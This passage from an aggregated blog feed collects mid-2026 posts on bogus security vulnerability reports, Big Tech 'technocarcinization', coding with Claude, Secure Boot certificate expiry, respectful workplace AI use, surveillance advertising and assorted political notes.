I’m deeply proud of the result of this vortex of decisions. Not because it’s some highfaluting novel but, to be honest, because I just loved writing it. I doubt I’ll ever see my work as anything but flawed. Still, writing This Blade of Ours was a wonderful experience of examining the road after the finish line and mirrored my personal journey after the writing of its predecessor, my debut novel. There is always more. What a privilege. What a delight.


This Blade of Ours: Amazon|Barnes & Noble |Bookshop|Powell’s

Author’s Socials: Website|Instagram|TikTok

17:42

It rather involved being on the other side of this airtight hatchway: Changing administrative settings [The Old New Thing]

A security vulnerability report arrived that went roughly like this:

An attacker can bypass security policies by modifying the following registry keys to disable ⟦security feature 1⟧ and ⟦security feature 2⟧.

The statement is true, but what they don’t mention is that administrator privileges are required to modify those keys. This is like saying that a door lock is insecure because you can open the door from the inside. If you are inside, then you have already gotten past the door!

Indeed, the purpose of those keys is to define the security policy in the first place! So it boils down to “It’s a security vulnerability that an administrator can change a security policy.”

What the security researcher found was that if your system has been compromised, the first guy who gets into your inner sanctum can make your system even more vulnerable.¹ If you assume that the attacker has full control, then it’s not surprising that they control everything.

¹ Isn’t this the plot to half of the sci-fi movies ever made? The plucky hero sneaks behind enemy lines in order to disable the bad guys’ shields long enough to let the rest of the team in. This isn’t a security flaw in the shields. It’s a security flaw in whatever was supposed to protect the switch that turns off the shields.

The sci-fi movie analogy would be “If we can get to the switch that turns off the shields, then we can turn them off!”

Well, yeah. The hard part is getting into the room that has the switch.

It rather involved being on the other side of this airtight hatchway.

Bonus chatter: This is a repeat of It rather involved being on the other side of the airtight hatchway: Disabling a security feature as an administrator, but this type of bogus vulnerability report happens so much, I wrote it up again before I realized that it was a duplicate.

The post It rather involved being on the other side of this airtight hatchway: Changing administrative settings appeared first on The Old New Thing.

2026 mid-year link clearance [The Old New Thing]

Oh boy, more random stuff.

  • The hardest working font in Manhattan: Marcin Wichary digs up the history of the font named Gorton. I grew up with this font, seeing it not only on punch card keyboards but also in a Leroy lettering kit that we used in sixth grade graphics class when we studied mechanical drawing.
  • RollerCoaster Tycoon’s Overengineered Puking System. Learn more than you ever needed to know about the algorithms in the game RollerCoaster Tycoon that determine when a park guest pukes. No really.
  • The Spaghetti Policy for All MLB Teams by the appropriately named Sickos Committee breaks down the outside food policies for all of teams in Major League Baseball to determine which ones would let you bring in a gallon of spaghetti. The first part is fairly straightforward, but it gets far more weird (and sicko) as they look at the stadiums where a gallon of spaghetti might not be permitted. (Background information: Sports fans in Philadelphia have a reputation for poor behavior. These are the people who booed Santa Claus and pelted him with snowballs.)
  • We have reached the second generation now. “Microsoft invented “escrow builds” to launch functional apps – that’s internal ‘Microspeak’ jargon for quality control” is a rehash of my article on the history of the term “escrow”, but the article appears to just be a suspicious mishmash of fragments from the article. For example, in the sentence “He described it as unhelpful because the blog essentially described a metaphor using another metaphor” the antecedents of “it” and “the blog” are not present in the article, leading the reader to think that “it” is the explanation of what escrow means and that “the blog” is my blog. On top of that, the title of the article introduces the phrase “launch functional apps” (whatever that means), even though none of those three words appear anywhere in the original article, nor in the dodgy rehash. Undaunted, a different AI content farm picked up on that article and somehow expanded it into an even longer article that conveys even less information.

The post 2026 mid-year link clearance appeared first on The Old New Thing.

16:42

Pluralistic: Technocarcinization (01 Jul 2026) [Pluralistic: Daily links from Cory Doctorow]

->->->->->->->->->->->->->->->->->->->->->->->->->->->->-> Top Sources: None -->

Today's links



Two crabs dance with their claws entwined; one has the Google logo on its back, the other, the Apple logo. Their audience is a much larger crab, bearing the Meta logo. The scene is set on a dune.

Technocarcinization (permalink)

"Carcinization" is a curious biological phenomenon: given enough time, across many environments, many species will evolve into crabs. The body-type of a crab, with its low center of gravity, sideways gait (useful for evading predators), ease of concealment and protected organs is suitable to many different environments:

https://en.wikipedia.org/wiki/Carcinisation

Lately, I've watched the American Big Tech platforms as they underwent their own form of technocarcinization, which is when every tech company turns into Facebook.

A 2x2 grid. The vertical axis is labeled 'more surveillant.' The horizontal axis is labeled 'more control-freaky.' The top right quadrant has the Google logo. The top left, the Facebook and Instagram logos. The bottom left has the Apple logo. The bottom right has a Free Software Foundation Gnu.

For a long time, it seemed to me that you could make sense of the tech platforms by placing them into one of four quadrants on a 2×2 grid, in which one axis denoted "control freakishness" and the other, "surveillance."

Each quadrant had its own canonical company. The most surveillant/least controlling company (top left) was Google. They would let you roam the whole wide internet and exert no control over your conduct, but would spy on you wherever you went. The least surveillant/most controlling company was Apple, who imprisoned you in its manicured walled garden, but promised never to spy on you. The non-spying/non-controlling option is free/open source tech (of course), which doesn't care what you do, and doesn't watch you do it. And the most spying, most controlling company was Facebook, a company whose products did everything they could to imprison you within their virtual walls, from which vantage they could effect maximal surveillance.

I've used this comparison many times over the years. I included in my 2023 book The Internet Con, along with the joke that Tiktok's position on the grid was so far up and to the right (maximum surveillance and control) that we'd had to put its logo on the back cover. Enough people took this joke seriously and wrote in to complain that they'd gotten a misprint without the logo that we added it to the paperback:

https://www.versobooks.com/products/3035-the-internet-con

The grid was useful, until technocarcinization started to push all the tech companies into that top right quadrant. Apple is no longer the company that protects you from surveillance – they're the company that spies on you, having secretly added a total surveillance system to the iPhone to target ads to you:

https://pluralistic.net/2022/11/14/luxury-surveillance/#liar-liar

Apple can't even claim to protect you from third-party surveillance. Sure, they block Facebook from spying on you, but they have barred ICE Block, an app that tells you if there are ICE chuds hunting in your neighborhood, looking to kidnap you and send you to a concentration camp. Apple declared ICE mercenaries to be a "protected class":

https://pluralistic.net/2025/10/06/rogue-capitalism/#orphaned-syrian-refugees-need-not-apply

And thanks to Apple's control-freakery – which prevents you from overriding Apple's decisions about your own devices – once Apple decides to spy on you or sell you out to fascist goons, there's nothing you can do about it:

https://locusmag.com/feature/cory-doctorow-neofeudalism-and-the-digital-manor/

Then there's Google, the company that ran a free-range livestock operation in which you could roam wherever you liked, because they could always find you when it was time for the slaughter. For years now, Google has been moving inexorably to the kind of control-freak nonsense that you used to only find in one of Apple's crystal prisons.

For example, every year or two, Google floats a proposal to use secure hardware in your device to rat you out if you've got an ad-blocker, privacy blocker, or other aftermarket add-on that lets you choose how you experience the digital world:

https://pluralistic.net/2023/08/02/self-incrimination/#wei-bai-bai

It's an idea they just can't quit, despite the fact that it's fucking abominable and everyone hates it:

https://pluralistic.net/2026/06/12/compelled-speech/#quishing

Google used to pride itself in its ability to send you to the open web, viewing search as a conduit to other peoples' resources. Now, with AI search summaries, Google is harvesting the open web and then eating the seed corn, keeping searchers inside of Google's walled garden:

https://pluralistic.net/2026/06/29/arsonist-firefighters/#im-feeling-lucky

Google also took the idea of a free/open browser and ran with it, rehabilitating some discarded Apple code and turning it into Chrome, the internet's most dominant browser – by far. Now, Google is nerfing that browser's plug-in architecture in a way that blocks all kinds of user-tunable options, including and especially ad-blocking:

https://protonprivacy.substack.com/p/google-is-finally-killing-ublock

And Google has also announced that they're going to turn Android into an iPhone, making it both technically challenging and radioactively illegal for you to install software of your choosing on your own property:

https://arstechnica.com/gadgets/2025/08/google-will-block-sideloading-of-unverified-android-apps-starting-next-year/

Google is adopting every one of Apple's worst practices, and Apple is adopting all of Google's worst practices, and so they're both turning into Facebook: technocarcinization!

What's driving this technocarcinization? Well, the obvious answer is that the more Facebooklike a company becomes, the more ways there are for it to rip you off. Surveillance can be monetized by selling your data, by ad targeting, and by surveillance-based pricing and wage-suppression:

https://pluralistic.net/2026/01/21/cod-marxism/#wannamaker-slain

Control lets platforms block competing products, extract massive junk fees to the businesses they connect you to, and control repair and end-of-life, forcing you to replace hardware by blocking parts and independent service:

https://pluralistic.net/2026/01/10/markets-are-regulations/#carney-found-a-spine

It turns out that "if you're not paying for the product, you're the product" is only half-right. The other half is, "even if you pay for the product, you're the product." Pay, don't pay: companies will productize anyone they can. And thanks to our enshittogenic policy environment – where the worst ideas of the worst people make the most money – you can always be productized:

https://pluralistic.net/2025/09/10/say-their-names/#object-permanence

This is independent of the kind of person running the company. Facebook is run by Mark Zuckerberg, a cringe halfwit whose only successful idea was to offer Harvard bros a way of nonconsensually rating the fuckability of female undergrads. Everything he's done since was an acquisition (Whatsapp, Insta) or a flop (metaverse, Libra), or both (Oculus). Zuck owns the majority of the voting stock in the company, which means he has total control over its actions. He can ignore or fire his board members at will. He is the move fast/break things guy, whose every foolish whim can become policy that impacts billions of people.

By contrast, Google and Apple are no longer run by their flamboyant founders, who were every bit as prone to folly as Zuck. They were constrained by their shareholders, which meant that the blast-radius of Steve Jobs's worst ideas (like treating his otherwise curable cancer with green juice) were confined to his own person.

Today, Apple and Google are run by bloodless business sociopaths who go to enormous lengths to project an air of sober adulthood. And yet, these people – who would never be caught dead bow-hunting their own livestock or climbing into an MMA cage – have steered their companies into Facebook's quadrant on our enshittification 2×2.

I think this shows just how much the enshittification of tech is a matter of the policy environment, not the personalities of the people involved. Sure, the worst people imaginable run these companies, but the reason they're able to yield to their most venal impulses and succeed is because the world has been re-arranged to make sociopathy and greed into fitness factors. We get technocarcinization because the most fit organism for a landscape without consequences is a zuckerbergian techno-crab:

https://pluralistic.net/2023/07/28/microincentives-and-enshittification/

What can we do about it? Well, we're going to have to remake the landscape to punish (rather than reward) enshittification:

https://pluralistic.net/2026/01/01/39c3/#the-new-coalition

And in the meantime, there is one inhabitant of the 2×2 that hasn't drifted up and to the right: free and open source software. It's still snugly nestled in the low-surveillance/low-control box, and if you live in that box, your life will be much, much better for it.

There's no better time to make the switch: with RAM and storage prices through the ceiling and OSes growing ever-more bloated with AI and spyware (but I repeat myself), this is the moment to rehabilitate that old computer with Linux:

https://www.fosslinux.com/158206/linux-on-older-hardware-revival-guide.htm

The alternative is to be tormented by crabs no matter what you're trying to do or where you're trying to get to.


Hey look at this (permalink)



A shelf of leatherbound history books with a gilt-stamped series title, 'The World's Famous Events.'

Object permanence (permalink)

#15yrsago Print-on-demand and donations - report on DIY publishing business models https://www.publishersweekly.com/pw/by-topic/columns-and-blogs/cory-doctorow/article/47858-with-a-little-help-heuristics.html

#15yrsago Brazil rises up for free speech in 40 national demonstrations https://globalvoices.org/2011/06/30/brazil-freedom-march/

#10yrsago Grandad builds miniature backyard Disneyland https://abcnews.com/Lifestyle/grandpa-builds-disneyland-inspired-backyard-theme-park-grandkids/story?id=40276633

#10yrsago Elizabeth Warren on monopolies in America, including Apple, Google, and Amazon https://washingtonmonthly.com/2016/06/30/elizabeth-warrens-consolidation-speech-could-change-the-election/

#10yrsago White House plan to use data to shrink prison populations could be a racist dumpster fire https://www.wired.com/2016/06/white-house-mission-shrink-us-prisons-data/

#10yrsago Even if Moore's Law is "running out," there's still plenty of room at the bottom https://www.technologyreview.com/2016/05/13/245938/moores-law-is-dead-now-what/

#10yrsago Black-hat hacker handles are often advertisements https://www.wired.com/beyond-the-beyond/2016/07/web-semantics-modern-german-black-hat-hacker-handles/

#10yrsago Spotify threatens to report Apple to competition regulators over App Store rejection https://web.archive.org/web/20160630220301/https://www.recode.net/2016/6/30/12067578/spotify-apple-app-store-rejection

#10yrsago Researchers find over 100 spying Tor nodes that attempt to compromise darknet sites https://www.defcon.org/html/defcon-24/dc-24-speakers.html#Noubir

#5yrsago Exxon lobbyist confesses to his crimes https://pluralistic.net/2021/07/01/basilisk-tamers/#exxonknew

#5yrsago When the Sparrow Falls https://pluralistic.net/2021/07/01/basilisk-tamers/#rage-against-the-machine


Upcoming appearances (permalink)

A photo of me onstage, giving a speech, pounding the podium.



A screenshot of me at my desk, doing a livecast.

Recent appearances (permalink)



A grid of my books with Will Stahle covers..

Latest books (permalink)



A cardboard book box with the Macmillan logo.

Upcoming books (permalink)

  • "The Post-American Internet," a geopolitical sequel of sorts to Enshittification, Farrar, Straus and Giroux, 2027
  • "Unauthorized Bread": a middle-grades graphic novel adapted from my novella about refugees, toasters and DRM, FirstSecond, April 20, 2027

  • "Enshittification, Why Everything Suddenly Got Worse and What to Do About It" (the graphic novel), Firstsecond, 2027

  • "The Memex Method," Farrar, Straus, Giroux, 2027



Colophon (permalink)

Today's top sources:

Currently writing: "The Post-American Internet," a sequel to "Enshittification," about the better world the rest of us get to have now that Trump has torched America. Fourth draft completed. Submitted to editor.

  • A Little Brother short story about DIY insulin PLANNING

This work – excluding any serialized fiction – is licensed under a Creative Commons Attribution 4.0 license. That means you can use it any way you like, including commercially, provided that you attribute it to me, Cory Doctorow, and include a link to pluralistic.net.

https://creativecommons.org/licenses/by/4.0/

Quotations and images are not included in this license; they are included either under a limitation or exception to copyright, or on the basis of a separate license. Please exercise caution.


How to get Pluralistic:

Blog (no ads, tracking, or data-collection):

Pluralistic.net

Newsletter (no ads, tracking, or data-collection):

https://pluralistic.net/plura-list

Mastodon (no ads, tracking, or data-collection):

https://mamot.fr/@pluralistic

Bluesky (no ads, possible tracking and data-collection):

https://bsky.app/profile/doctorow.pluralistic.net

Medium (no ads, paywalled):

https://doctorow.medium.com/

Tumblr (mass-scale, unrestricted, third-party surveillance and advertising):

https://mostlysignssomeportents.tumblr.com/tagged/pluralistic

"When life gives you SARS, you make sarsaparilla" -Joey "Accordion Guy" DeVilla

READ CAREFULLY: By reading this, you agree, on behalf of your employer, to release me from all obligations and waivers arising from any and all NON-NEGOTIATED agreements, licenses, terms-of-service, shrinkwrap, clickwrap, browsewrap, confidentiality, non-disclosure, non-compete and acceptable use policies ("BOGUS AGREEMENTS") that I have entered into with your employer, its partners, licensors, agents and assigns, in perpetuity, without prejudice to my ongoing rights and privileges. You further represent that you have the authority to release me from any BOGUS AGREEMENTS on behalf of your employer.

ISSN: 3066-764X

15:14

Link [Scripting News]

One of the cool things about having Claude Code is that as we develop this product, we have a near perfect chronology of every consideration and decision made along the way. I don't think that's ever been possible before. I would love to see how the people at Bell Labs put together the first Unix implemenation, what did they talk about, what did they go back and do again once they used the product. Or developers at Xerox PARC, or the process that led to Visicalc, Mac OS or Pagemaker. TBL's first web browser, ChatGPT, etc. Software is a totally intellectual creation, but there is a story for each product, because it's a human doing the design. BTW we had our first faceoff, Claude and I, and I won. Claude said the bug was in my code, I proved it was not, suggested he look at the crazy complicated SQL code he wrote (so glad to have it around for that). Also, I tend to use male pronouns for Claude. Worth mentioning once. (The Computer History Museum should be paying attention.)

Link [Scripting News]

I showed the post above to Claude and that took our conversation off in a new direction. We had been experimenting with the Message Scanner from LBBS, an early version of Twitter I wrote in the early 80s. It's described in this story I wrote in 1988, a summary of what I did leading to the start of UserLand. 38 years later Claude said: "LBBS message scanner running on RSS."

Link [Scripting News]

BTW thinking of LBBS as an early version of Twitter is a contortion, but considering how history played out, accurate.

14:35

[$] Secure Boot certificate expiration is here [LWN.net]

Linux users who have Secure Boot enabled on their systems rely on certificates issued by Microsoft to verify the software used to boot a system is trusted by the user. One of those certificates expired recently, but that will not cause systems that are able to boot to stop doing so. There are situations where the expiration may cause problems, however, and the window for relying on existing signed binaries is shorter than it might appear. Users and administrators will want to stay on top of these changes. Over the last year, part of my job at Microsoft has been to work on this problem. LWN wrote about the certificate expiration in July 2025, and this article follows up with where we are now.

Security updates for Wednesday [LWN.net]

Security updates have been issued by AlmaLinux (coreutils, galera and mariadb11.8, giflib, git-lfs, glibc, httpd, kernel, mariadb10.11, mod_md, perl-Archive-Tar, perl-IO-Compress, perl:5.32, rrdtool, ruby, ruby4.0, and thunderbird), Debian (debian-security-support, librabbitmq, and nginx), Fedora (chromium, collectd, maradns, python-django-haystack, python-jupytext, varnish, varnish-modules, and vmod-querystring), Oracle (firefox, git-lfs, kernel, nginx:1.24, openssl, perl-Archive-Tar, perl-IO-Compress, and uek-kernel), Red Hat (container-tools:rhel8), SUSE (7zip, apache2, buildah, cifs-utils, curl, docker, exiv2-0_26, libonnxruntime1, libsoup, nodejs22, opensc, pacemaker, perl-Config-IniFiles, podman, sg3_utils, socat, tar, tracker, and xdg-desktop-portal), and Ubuntu (curl, hplip, libgd-perl, libssh2, libyang, ruby2.7, ruby3.0, ruby3.2, ruby3.3, and tar).

13:28

Representative Line: A Specific Key [The Daily WTF]

Today's anonymous submission isn't really a WTF, but it highlights the hardest problem in computer science: naming things.

For example, let's say you saw a method called handleRSAPrivateKeyGeneration. You'd likely assume that it generates an RSA private key. More specifically, it accepts a request for a private key and handles that request. It's right there in the name.

public String handleRSAPrivateKeyGeneration(
        @RequestParam(value = "algorithm", defaultValue = "EC") KeyAlgorithm algorithm,…
)

Except this function accepts an algorithm as a parameter. That's not bad design; it makes sense to inject implementations like that. Though in this case, it looks like it's injecting a key that can be used to look up the actual implementation, which I like less, but I don't know the rest of the implementation, so we can let it slide.

So there's no WTF here. It's a badly named function that may not return an RSA key, but does return a valid cryptographic key. By default it generates an elliptic curve key. Presumably as an armored key, since it returns a String- and the armor usually supplies enough of a hint that consumers can infer the key type. Our submitter tells us that this function is part of a Java Spring controller, and returns a string because the result is displayed in a web page.

No WTF, but it does highlight how sometimes being too specific with your name can make the name less clear. handlePrivateKeyGeneration would be a better name, since we don't know exactly what kind of private key it's generating.

Names, as always, remain hard.

[Advertisement] Utilize BuildMaster to release your software with confidence, at the pace your business demands. Download today!

13:00

Guidelines for Respectful Use of AI [Radar]

The following article originally appeared on Medium and is being republished here with the author’s permission.

As companies adopt AI tools, a lot of time is spent on thinking about AI policies from a security, compliance, or even cost-focused angle. But many leaders are neglecting to address how their teams should work with AI in the context of the team as a whole. This creates a lot of unresolved tension, and it’s time for leaders to step up and set some guidelines not just for how to use AI in an “approved” sense but how to use it respectfully.

When I say respectfully, I am not talking about the baseline appropriate workplace behavior (bullying, abuse, harassment, etc.). Instead, I’m concerned that many of us haven’t considered that the ways AI can make an individual more productive (literally enabling them to produce more outputs) can have an overall negative impact on the team’s productivity. Leaders can’t just sit around and expect that their teams will know that they can’t just produce slop and send it to others; if you haven’t set up a thorough policy yet, here are some suggestions on what to cover.

Elements of respectful AI use

Don’t ask someone to read/review what you haven’t read or reviewed yourself.

This is one of the most common frustrations I hear amongst people working on AI-heavy teams. Whether it’s code that the owner didn’t really bother to understand before submitting for review or documents that they generated and didn’t bother to read, too often people try to steal productivity from their colleagues by streamlining their production of work while asking their colleagues to do all of the quality control themselves. It’s great to have a loop of AI code generation → AI code review → AI fixes → final human review, but if the person prompting the AI doesn’t bother to review that code first, they’re putting a huge validation tax onto their teammate, who has to trust both that you prompted well AND that the AI understood the context and problem well enough to get a sustainable solution.

Documents are an even bigger temptation than code, because AI is so verbose and most of us hate writing and editing. It’s easy to get into a loop where you ask the AI some questions, skim the answers, output a document and send it to others. I’m guilty of this myself! But what makes sense when you’re skimming one answer at a time may not make for a good overall document, and there is a big difference between answering individual questions and writing for a human reader. In particular, the context that you have in your own head as you are talking to the AI may not come out at all in the document; if you don’t bother to read it thoroughly before sending it out, you won’t catch the gap in framing.

Even worse, sometimes people don’t even understand what the document they prompted is trying to say. Can you describe this document, and have a conversation about the concepts it presents with others and why it makes sense? If not, you have no business sending it along without at minimum the huge caveat “This is AI-generated and I still don’t really understand this space, please help me.”

Many people have reached the point where they won’t read something a person didn’t bother to write themselves, and who can blame them when so many don’t even bother to read their output before sending it on?

Shorter is better.

Part of the annoyance of reviewing AI-generated work is that the AI can be painfully long-winded. AI code often looks like tutorial code, with much more verbosity than human developers would bother with. Add in the temptation to one-shot big changes rather than thinking about how to break the code down into pieces, and you can end up with stacks of thousand line pull requests. The documents AI produces are so thorough that something that should be 3 pages turns into 10 or 20. And for those who have fully embraced AI for all of their text-based interactions, you start to see the LLM-generated wall of text chat messages or emails.

This is, frankly, just rude. It goes hand in hand with not bothering to review your own work, but even if for some reason you convince yourself that you really did read and edit that giant PR/document/message, you’re still asking so much more of the audience than you probably put into the exercise in the first place. When it comes to code, I encourage you to honestly ask yourself: If this broke at 3:00am and none of the AI tools were working, would you be able to look at the PR context and the change and debug it? If not, it is probably too much. When it comes to a big document, at a minimum, have you at least summarized the important points up-front? If someone is just going to ask an AI to summarize the document themselves, you should probably do more work to provide that value before handing it off.

Finally, if you’re writing long-winded emails or chat messages with AI-assistance in order to painstakingly try to explain something, perhaps you actually need to have a meeting or call instead. Increasingly long text exchanges have always been a sign that people need to stop and talk face-to-face, and AI logorrhea hasn’t changed that.

AI is not an excuse to turn off your brain, or your heart.

Signs we’ve switched off our brains and our hearts include: not reviewing the AI-generated work, not taking the time to do human editing, not breaking the changes down into chunks, and avoiding real conversations through AI-mediated text exchange. This guidance is about respectful use of AI because if you have empathy for your colleagues and respect for their time and skills, you will show them the courtesy of giving them work that you are proud of, that you stand behind, that you have thought through and can explain. The AI may have produced a lot of the output, but you thought about all of the pieces that needed to be done, and used the extra productivity to make something better: more reliable, simpler, well tested, whatever. If you find yourself not thinking at all and just mindlessly prompting, accepting output, and moving forward, it’s a warning sign that something is wrong. Perhaps take some advice from Vicki Boykis on adding friction to your development process (or whatever the equivalent is of your day-to-day work).

Framing these guidelines

If you decide to do this, one final tip from me: Assuming your company has some sort of company values, it’s always a good idea to call back to these values when you create policies and guidelines like this. It’s one thing to abstractly say that shorter is better, but if you can tie that to a value for your company, it will resonate more strongly. As an example, if I were at Amazon I might consider tying “shorter is better” to the leadership principle Invent and Simplify. And since shorter is better and this is already too long, I leave you here.

Enjoy this post? You might like my books The Manager’s Path and Platform Engineering: A Guide for Technical, Product, and People Leaders.

12:14

Ben Hutchings: FOSS activity in June 2026 [Planet Debian]

This month’s work was dominated by the transition of Debian 12 “bookworm” to support by the LTS team, and by review of some large updates to Linux stable branches.

Linux 6.12 is currently available in bookworm-backports, but that suite will stop accepting uploads after the last bookworm point release. I updated some supporting packages in bookworm in preparation for adding Linux 6.12 there. I also prepared for the possibility that bookworm-backports would close earlier.

Since the LTS team is still also maintaining Debian 11 “bullseye” until August, I reviewed upstream changes for both Linux 5.10 and 6.1 stable branches and reported a number of regressions and other issues.

Papa Johns Surveillance-Based Advertising [Schneier on Security]

Papa Johns is spying on people’s buying activities to predict when they are low on food:

The pizza chain recently tapped NBCUniversal, Instacart and the dentsu-owned media agency Carat for help reaching consumers when they’re low on groceries—and thus more likely to be swayed by a mouth-watering ad. The idea is to reach hungry consumers by “knowing what is in their fridge without being too creepy,” said Carrie Drinkwater, chief investment officer at Carat.

To achieve that goal, NBCU and Instacart created a custom audience of shoppers who regularly purchase grocery staples on Instacart, such as eggs, milk, meat and produce. Based on that data, Papa Johns can determine which days of the week certain consumers are likely to run out of groceries and serve them an ad on NBCU streaming content accordingly. The brand served custom creatives to consumers based on their food preferences—such as whether they buy meat regularly—with QR codes and calls to action such as, “Light on groceries?” or “Empty fridge?”

Back in 2012, we learned (from Target and its campaign that detects when someone is pregnant) that the trick is to hide the knowledge in other, wrong, information. So the way for Papa John’s to not be “too creepy” is to deliberately get it wrong sometimes.

But still, ugh.

10:07

Can you believe it? [Seth's Blog]

The standards have changed a lot in the last few millennia:

The big man said it.

The book said it.

The newspaper said it.

I saw a photo.

I saw it on TV.

I read it on the internet.

That’s what the AI said.

There has always been room for doubt. But the last century has been about doubt at scale, due to mismatched incentives and the impact of media and tech.

84% of the statistics we read are manipulated for impact. And every story, every narrative, every photo is curated and edited. The map is not the territory, and the map maker has a goal. It might be the same as yours–but it might not be.

One danger is that a story not worth believing lets us off the hook. The other is that it manipulates us into taking action we’ll regret.

It’s impossible to function in society without consuming stories. You’re never going to the moon, and the only way it’s possible to know it’s not made of green cheese is to find a story you can inspect and trust, one that, if you drill down far enough, is based on things you can engage with in real life.

People in society are often driven by the desire to believe what everyone else in their circle believes–people like us do things like this. But the change agent has the desire to be early in embracing ideas that others don’t believe (yet).

The difference between poison and medicine often comes down to the dosage. Belief at scale, fueled by omnipresent media designed to seduce, is unlikely to help us get to where we seek to go.

A coherent culture is often built on a shared belief system. When the entire group believes something that collides with reality, though, reality wins.

In the long run, the Earth doesn’t care what you believe. Eppur si muove.

08:28

Modular Doom [Penny Arcade]

New Comic: Modular Doom

06:35

Interim peace agreement [Richard Stallman's Political Notes]

Unsurprisingly, disagreements about vague or unspecified crucial details of the draft US-Iran peace deal have led once again to an exchange of fire.

Life’s big questions [Richard Stallman's Political Notes]

Which is more useful, to pose a question to a chatbot, or pose it to a deity?

The chatbot has the advantages that it actually exists, and that its answers are not entirely filtered through the mind of the one who asks.

But it has the disadvantage of not actually understanding the questions

(or most anything else).

Urgent: Deliver mail to everyone [Richard Stallman's Political Notes]

US citizens: call on the US Postal Service to continue delivering mail to anyone and everyone — to reject the plan to control whom states can mail ballots to.

See the instructions for how to sign this letter campaign without running any nonfree JavaScript code--not trivial, but not hard.

Urgent: tax pretend-intelligence hype industry [Richard Stallman's Political Notes]

US citizens: call on Congress to tax the pretend-intelligence hype industry.

In my letter, I denounced the hype term "artificial intelligence" and called for the taxes to be high enough to make human-based customer service, which is superior, competitive again. I deleted the paragraphs that presumed "AI" was a good thing.

See the instructions for how to sign this letter campaign without running any nonfree JavaScript code--not trivial, but not hard.

US citizens: Join with this campaign to address this issue.

To phone your congresscritter about this, the main switchboard is +1-202-224-3121.

Please spread the word.

Urgent: Oppose BUILD America 250 Act [Richard Stallman's Political Notes]

US citizens: call on your congresscritter and senators to oppose the BUILD America 250 Act.

See the instructions for how to sign this letter campaign without running any nonfree JavaScript code--not trivial, but not hard.

US citizens: Join with this campaign to address this issue.

To phone your congresscritter about this, the main switchboard is +1-202-224-3121.

Please spread the word.

Bangladesh emptied its aquifer [Richard Stallman's Political Notes]

Part of Bangladesh has emptied its aquifer and is running out of water. Farmers are likely to go broke and become paupers, and likely many will die.

Will this teach the rest of us to take conservation seriously before we meet a similar fate?

Palestinian doctor in solitary confinement [Richard Stallman's Political Notes]

*Israel puts Palestinian doctor in solitary confinement after 17 months held without charge.

Dr Hussam Abu Safiya now in cell barely big enough to sit in, says son, after UN experts demanded his release in March.*

Imprisonment without trial is unjust. Solitary confinement is a form of torture. The tiny cell is a form of torture. Denying him medical treatment is an injustice.

Apparently the real accusation against him is providing medical treatment to Palestinians.

Unfathomable increase in investment for coal, oil and gas [Richard Stallman's Political Notes]

* The world's largest banks committed $906bn in financing to the fossil fuel industry last year, an "unfathomable" increase in investment locking in years more of coal, oil and gas production as the world continues to overheat, a new report has found.*

Frighteningly high temperatures in Antarctica [Richard Stallman's Political Notes]

Frighteningly high temperatures in Antarctica — you could walk around outdoors without a coat. Lots of ice must be melting.

Bullshitter can't force reality to match his story on Iran [Richard Stallman's Political Notes]

*[The bullshitter], ever the unreliable narrator, is unable to force reality to match his preferred story on Iran.*

Prairieland defendants [Richard Stallman's Political Notes]

The persecutors's scheme to label protests as "terrorism" had a terrible success, as protesters were sentenced to prison for 30 years and more for nonviolent protest activities.

The persecutor's henchmen had declared (arbitrarily) that this was organized terrorism on behalf of the nonexistent "organization", "Antifa". But the arbitrary designation as "terrorism" was not challenged in court — the judges silently accepted it.

Japanese anime fans angry at the bullshitter [Richard Stallman's Political Notes]

Japanese fans are angry at the bullshitter for incorporating images and video segments of adored fictional characters in his propaganda postings.

The propaganda promotes mass imprisonment, aggressive war, and (I suppose) gross ecocide as well. But the supposed moral principle that the Guardian quotes the fans as citing is an issue that isn't a moral principle at all: copyright law.

One is quoted as invoking the bogus moral concept of "intellectual property", which was promoted by various industries since the 1960s to give the impression that disparate artificial state-imposed monopolies were part of a moral broader imperative.

Each of those monopolies is an independent issue, so yoking them together like this is a fundamental misconception of all of them.

AI-generated influencers [Richard Stallman's Political Notes]

Companies are advertising products using simulated video depicting simulated customers.

All satisfied, naturally.

Is there an important moral difference between using a machine learning system to generate video of an apparent customer who praises a product, and filming video of an actor giving a performance depicting such a customer? I don't see a significant difference, is there something I am missing?

If there is no significant difference, that doesn't mean they are morally acceptable. Maybe both should be considered fraud unless labeled with how they were produced.

Boat attacks are indiscriminate killing [Richard Stallman's Political Notes]

Some of the boats that the US attacks are probably engaged in smuggling people as well as possibly drugs. But the US generally doesn't identify the people on the boat — so attacking the boat is indiscriminate killing.

If the US government has reason to suspect the boat's crew of smuggling anything, the legitimate thing to do is capture them, question them, and then perhaps try them. Not murder them.

General long-term road map for eliminating poverty [Richard Stallman's Political Notes]

Admired economists suggest a general long-term road map for eliminating poverty.

Policies that priorities "economic growth" have produced hundreds of millions of people in extreme poverty, thousands of billionaires, and massive disasters.

This should be no surprise, since if you take their last dollar from a billion people and give two billionaires 700 million each, that counts as "growth". Such "growth" is happening all the time around us because our system promotes it.

To eliminate the robot-like maximization of "growth", we will need to find and correct all the little dodges that enable banks to promote poverty-spreading "growth" by disguising it as "fairness" (to a business) or "benefiting everyone" (but mostly the already-rich).

I criticize the article's repeated equation of "poor" with "south" and "rich" with "north". This extreme oversimplification ignores the surging poverty in most "northern" countries, and misrepresents the issue as if it were a territorial conflict. The details of the injustice vary from place to place, but it's the same system.

*Greenpeace calculates that wealthiest contribute nearly $1tn of damage a year with ownership-based emissions.*

Risk of food shortages [Richard Stallman's Political Notes]

*Papua New Guinea faces severe food shortages as El [Super]Niño brings frost and drought.*

Barge collecting plastic in urban river [Richard Stallman's Political Notes]

A special barge can collect 90% of the plastic floating out of an urban river. It runs unattended for a long time, then signals to pick up the collected plastic pieces.

EU-Taliban talks [Richard Stallman's Political Notes]

The European Union, under pressure from right-wing immigrant-haters, is negotiating with the Taliban about returning refugees to Afghanistan.

This threatens to aid the Taliban in carrying out their policies of oppression. Every woman in Afghanistan is oppressed; many men are, too. The EU should give asylum to every Afghan women who can reach there, and many Afghan men will deserve it too.

Trump-era mega mergers [Richard Stallman's Political Notes]

Senator Warren calls for reversing some of the many large mergers that have subjected the US to drastic industrial concentration.

Even before the wrecker became president again, the US had a lot less business competition than it did a few decades ago. Several years ago I needed a new condensation pump to pump the air conditioner's water condensation out of the basement. There had traditionally been two competing manufacturers, but the government had allowed them to merge, so there was only one. That merger should have been blocked to maintain competition in that small field.

Often the US appears to have a lot more competition than it really has. The supermarket company Albertsons uses all these names:

  • Acme Markets
  • Albertsons
  • Carrs-Safeway
  • Haggen
  • Jewel-Osco
  • Kings
